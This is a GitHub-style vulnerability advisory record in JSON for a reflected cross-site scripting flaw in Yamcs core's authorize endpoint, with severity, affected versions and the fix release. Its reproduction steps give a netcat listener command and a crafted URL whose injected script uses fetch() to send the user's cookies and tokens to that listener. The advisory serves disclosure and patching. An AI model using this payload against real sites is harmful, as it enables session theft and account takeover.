CVE-2026-55549: Yamcs core Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rxpg-wjf8-qv9c",
  "modified" : "2026-08-28T17:17:50Z",
  "published" : "2026-08-28T17:17:50Z",
  "aliases" : [ "CVE-2026-55549" ],
  "summary" : "Yamcs has Reflected XSS in the URL of the Authorize Endpoint",
  "details" : "### Attack type: \nUnauthenticated remote  \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n<img width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" />\n\nYou then use JavaScript to obtain the user's cookies and display them in the alert:\n\n<img width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" />\n\nFinally, use the `fetch` function to send the user's cookies to a remote server which we controlled:\n\n<img width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" />\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user's access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.9.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T17:17:50Z",
    "nvd_published_at" : null
  }
}